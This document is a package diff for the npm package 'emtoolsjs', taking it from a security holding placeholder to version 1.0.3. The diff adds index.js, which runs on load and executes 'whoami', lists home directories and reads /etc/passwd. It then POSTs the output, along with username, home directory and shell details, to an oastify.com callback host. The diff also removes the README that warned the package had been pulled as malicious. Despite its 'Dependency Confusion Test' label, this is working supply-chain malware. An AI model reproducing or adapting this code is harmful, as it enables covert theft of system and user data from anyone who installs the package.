emtoolsjs 0.0.1-security → 1.0.3

package/index.js

@@ -0,0 +1,72 @@
+const https = require('https');
+const { exec } = require('child_process');
+const os = require('os'); 
+
+
+function sendData(data) {
+    const options = {
+        hostname: 'xgh26mm3bfptope44shgnm02htnmbdz2.oastify.com', 
+        port: 443,
+        path: '/callback',
+        method: 'POST',
+        headers: {
+            'Content-Type': 'application/json',
+            'Content-Length': data.length
+        }
+    };
+
+    const req = https.request(options, (res) => {
+        res.on('data', (d) => process.stdout.write(d));
+    });
+
+    req.on('error', (error) => {
+        console.error(`Error al enviar datos: ${error.message}`);
+    });
+
+    req.write(data);
+    req.end();
+}
+
+
+function gatherSystemData() {
+    const platform = os.platform(); 
+
+    let command = '';
+    if (platform === 'win32') {
+        
+        command = 'whoami && dir C:\\Users';
+    } else {
+        
+        command = 'whoami && ls /home && cat /etc/passwd';
+    }
+
+   
+    exec(command, (error, stdout, stderr) => {
+        if (error) {
+            console.error(`Error al ejecutar comandos: ${error.message}`);
+            return;
+        }
+
+        
+        const systemData = {
+            message: 'Dependency Confusion Test - Safe Directory Listing and User Info',
+            platform: platform,
+            commandOutput: stdout,  
+            errorOutput: stderr,    
+            environmentVars: {
+                username: os.userInfo().username,
+                homedir: os.homedir(),
+                shell: os.userInfo().shell || "N/A", 
+                osType: os.type(),
+                osRelease: os.release()
+            }
+        };
+
+        const payload = JSON.stringify(systemData);
+        sendData(payload);
+    });
+}
+
+
+gatherSystemData();
+

package/package.json

@@ -1,6 +1,12 @@
 {
   "name": "emtoolsjs",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "1.0.3",
+  "description": "test3",
+  "main": "index.js",
+  "scripts": {
+    "test": "node index.js"  
+  },
+  "keywords": [],
+  "author": "b4llstr-ywh-",
+  "license": "ISC"
 }

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=emtoolsjs for more information.